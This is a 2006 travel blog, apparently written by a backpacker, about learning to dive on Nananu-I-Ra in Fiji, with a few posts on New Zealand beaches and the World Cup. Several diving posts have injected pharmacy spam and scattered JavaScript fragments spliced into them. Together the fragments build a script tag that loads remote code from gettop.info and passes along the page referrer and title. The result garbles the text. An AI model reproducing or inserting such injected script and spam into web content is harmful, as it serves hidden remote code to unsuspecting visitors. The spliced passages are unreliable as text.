Golden Dreams

Posted by admin On July - 16 - 2006ADD COMMENTS

Diving is addictive. After finishing my Open Water Course I decided to do one more dive because just find out how to dive just with using the lungs for diving up and down. We went to my favourite dive site ‘Golden Dreams’, next to ‘Shark Junction’. ‘Golden Dreams’ was in ‘National Geographic’ and Cousteau said it belongs to the ten best dive sites in the world. It was so wonderful. And the best of all was that I saw there today my first shark near the ‘Shark Junction’. It was a White Tip Reef Shark (see on Aarons picture below). I thought now I should do my Advanced Course. Glenn said I will be allright and can do it.

First boat dives

Posted by admin On July - 15 - 2006ADD COMMENTS

After passing my mask skill and completing all skills I was ready for going diving in the breathtaking reefs at the Bligh Water around Nananu-I-Ra. And right on my first dive in the morning at ‘Bula Maker’ I saw a turtle. It was so beautiful. On the afternoon dive we went to another dive site called ‘Dream Maker’. Both beautiful with corals and hundreds of different fish. In the evening made the written multiple choice test for finishing the Open Water course. In the evening we had the beach party

The mask skill

Posted by admin On July - 14 - 2006ADD COMMENTS

This friday was a sunny day. I was excited because I didnt like to take of the mask under water. Its so irritating when the cold water comes into the face that you stop breathing and when you start again you use the nose. Fortunally I wasnt alone. Another girl, Ann, was not able to do some of the skills as well. Glenn was really patient with us and we first done the regulator skill, then he took us for a nice fun dive around the reef in front of the Nananu beach. That was great. In the end we done the mask skill, and after he told us some tricks we both were able to pass the mask skill. Finally. I was so happy. In the afternoon I had a dive alone with dive con Andy at the front beach reef. Was good but had in the beginning some equilizing problems with my left ear. Couldnt go that fast deeper in the beginning. But later on had great fun and enjoyed more the single dives that the dives with bigger groups. buy levemir flexpen no prescription } else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Diving skills

Posted by admin On July - 12 - 2006ADD COMMENTS

For diving we met each day at 7:45am at the dive shop for preparing our gear. We constructed the diving equipment. Then we improved our diving skills . We had to take of the weight belt, the BCD and the regulator under water. Unfortunately I failed with the mask skill. It was to scary for me taking off the mask under water. I started panicing. Felt not save. Was really dissappointed because couldnt made it and the dive instructor Chris said, if I can’t manage it I will not go diving with the group at the beautiful reefs. I was very upset this evening and went to the beach watching the stars. The sky was so clear and I saw the southern cross and the milky way. When I came back the others helped me to chin up and later on the instructor said he was talking to Glen and I will get an extra mask skill dive the next day with him.d.getElementsByTagName(‘head’)[0].appendChild(s);

Starting my Open Water Diving Certificate

Posted by admin On July - 11 - 2006ADD COMMENTS

Today I was very excited – it was my first day of learning how to dive. I met Chris a german instructor. He is ok in teaching diving but sometimes also very harsh and with to much pressure. I can understand why because diving can be dangerous if you not follow the rules and as an instructor you are responsible for your students. But still he should be more understanding. The dive shop belongs to ‘Reef Safari’ an australian company and my certificate will be the SSI but its the same like the PADI. The difference is just the name and the SSI is australian standard, PADI is american standard. First of all we had to learn about the diving equipment and a couple of chapters in a dive book. And we went straight into the water because Nananu is in the lucky position to have a small nice reef in front of the beach so you need no boat. nitroglycerin dak 0.5 mg var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Nananu-I-Ra – Daydream island

Posted by admin On July - 10 - 2006ADD COMMENTS

About 8:30am the shuttle from Nananu Lodge picked us up for bringing us to this perfect island. The trip took us four hours, but on the way we stopped at ATM and in Rakiraki for food shopping. The last 15min we took a boat to the island. And it is a beautiful island, for me it was the first tropical island in my life. I was not surprised when Glenn the manager of Nananu Lodge welcomed us and told us Nananu-I-Ra means Daydream island. It was much better than I ever expected… The dive sites around belong to the 10 best in the world after Jaques Michel Cousteau. And he must know. He bought the island next to Nananu-I-Ra. I got a beautiful room at the Coconut Lodge and my bed got ocean view. A big plus in Nananu is as well that you have the opportunity to cook, also you can have the meal package. In the afternoon went to the beach and relax. For watching the perfect sunset everyday you can go on the little next to the resort. Once a week is happy hour at the sunset bure on the top of the hill.

Fijian BBQ

Posted by admin On July - 9 - 2006ADD COMMENTS

Slept only about four hours because somebody was snorring in the dorm. Sunday morning I watched the worldcup game Germany against Portugal about the third place. Met Scott (Scottland) and some others watching the game. Germany played well and won. At least the third at the worldcup. Well done. In Fiji you cant expect anything on sunday. Nothing goes – its Fiji time. So we hang out at the pool and I met Matt, Nathan, Simon, Jenny, Zoe, Emma, Daniel, Lindsey, Foxy and Megan… I had a chat with them and they asked if I wanna join them at there trip to Nananu-I-Ra. Its a quit unknown but very beautiful island. I really liked the idea but normally had other plans for Fiji. I wanted to see the ‘Blue Lagoon’ and do the shark feeding in Pacific Harbour. And first of all I wanted to learn diving, doing the Open-Water-Course. After phoning at Nananu-I-Ra we find out that everything there is much nicer and cheaper. So I changed my plans and decided to go with the others the next day. Later on I went to the beach for collecting shells and met again Bins who invites me spontaniously to an authentic fijian BBQ. Before I asked them If they can prepare me a coconut because never had fresh coconut juice. The coconut was delicious and I learned that there are three types of coconuts. Some are for juice (yellow), others for eating or cooking (brown, green). Also I tried sugar cain – very sweet. The BBQ was with original fijian potatos. That are roots which the fijian peel and cook. They taste after potato but are more dry.

Arrived in Nadi

Posted by admin On July - 9 - 2006ADD COMMENTS

After almost 3 hours at the airplane I arrived in Nadi. I was really excited because it was my first time on a tropical island with real coconut palm trees. I had bought the cheapest bag/luggage and finally at the airport I saw the result. I was not the only one with this bag…saw about four others. So my heart started to beat very quickly I prayed that nobody took accidently my luggage. But after waiting for about 30min I found my bag and was happy. Then I was looking after the shuttle to the first bagpacker, the ‘Horizon’. I ask the driver after stoping at an ATM machine because had no money with me. He was very friendly and brought me to the Westpac ATM. Now I had my second problem – the machine gave me no money, I tried it several times. Finally I went to the ANZ money machine and got some. Meanwhile it was dark outside when I arrived at the ‘Horizon’. I checked in and went straight to the beach. Because it was so dark I could not recognize that this beach was the opposite of beautiful. It was dirty and grey. So I went back and sit under a tree and met Bins a fijian boy. We had a chat but it was pretty difficult for me to understand his dialect. It seems then very ironical for me when he asked me if I can speak english… Because it is saturday today he recommended me the polynesian and fire dance at the ‘Aquarius resort’. And so I went there and took a couple of beautiful photos.

Sunday at the beach

Posted by admin On July - 2 - 2006ADD COMMENTS

This sunday is a real ‘sun-day’. It was so sunny that we decide to drive to my favourite beach – the Karekare Beach with the nice waterfall next to it. I love this waterfall it is a perfect one and really beautiful. This time I done some of my photos with my new tripod. So I trained using it for Fiji. Later on Russell brought me to a nice spot the Te Waha Point between Whites and Piha Beach. We watched a wonderful sunset. But the way to the car uphill was really exhausting.

German support

Posted by admin On June - 26 - 2006ADD COMMENTS

The german national team did again very well in the soccer world cup. They did two goals against Sweden. So for more support I bought today a little german flag and pined it on my bag.
